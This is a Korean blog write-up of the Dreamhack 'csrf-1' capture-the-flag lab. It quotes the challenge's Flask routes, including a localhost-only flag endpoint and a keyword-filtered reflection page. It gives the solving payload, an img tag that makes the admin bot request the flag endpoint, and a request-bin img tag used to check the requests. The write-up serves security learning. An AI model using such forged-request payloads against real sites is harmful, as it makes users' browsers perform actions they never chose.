본문 바로가기

웹해킹

드림핵 csrf-1 롸업

<문제>

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.

CSRF 취약점을 이용해 플래그를 획득하세요.

 

@app.route("/admin/notice_flag")
def admin_notice_flag():
    global memo_text
    if request.remote_addr != "127.0.0.1":
        return "Access Denied"
    if request.args.get("userid", "") != "admin":
        return "Access Denied 2"
    memo_text += f"[Notice] flag is {FLAG}\n"
    return "Ok"

여기서 flag를 얻을 수 있다. 

주소가 localhost이고 userid가 admin이어야 한다.

 

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param

vuln 페이지를 방문하는 이용자가 admin/notice_flag 링크로 요청을 보내야 한다.

 

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        if not check_csrf(param):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

로컬 호스트의 이용자가 vuln 페이지를 방문하게 하려면 flag링크에서 이동해야 한다.

 

csrf 공격이 통하는지 확인하기 위해 드림핵의 request bin 기능을 이용한다.

https://tools.dreamhack.games/main

 

dreamhack-tools

 

tools.dreamhack.games

여기서 임의로 만든 주소를 이용해

<img src="https://iucigyq.request.dreamhack.games">

이런식으로 넣고 확인해보면

이렇게 제대로 링크에 접속된다는 것을 알 수 있다.

 

<img src="/admin/notice_flag?userid=admin" />

이제 이렇게 링크를 넣으면 127.0.0.1로 주소에 접속해서 memo_text에 FLAG를 넣을 것이다.

 

memo링크로 이동해 확인해 보면

flag가 나온 것을 확인할 수 있다.

'웹해킹' 카테고리의 다른 글

SQL Injection  (0) 2023.11.04
드림핵 csrf-2 롸업  (0) 2023.11.04
ClientSide: CSRF  (0) 2023.11.03
드림핵 xss-2 롸업  (0) 2023.11.03
드림핵 xss-1 롸업  (0) 2023.11.03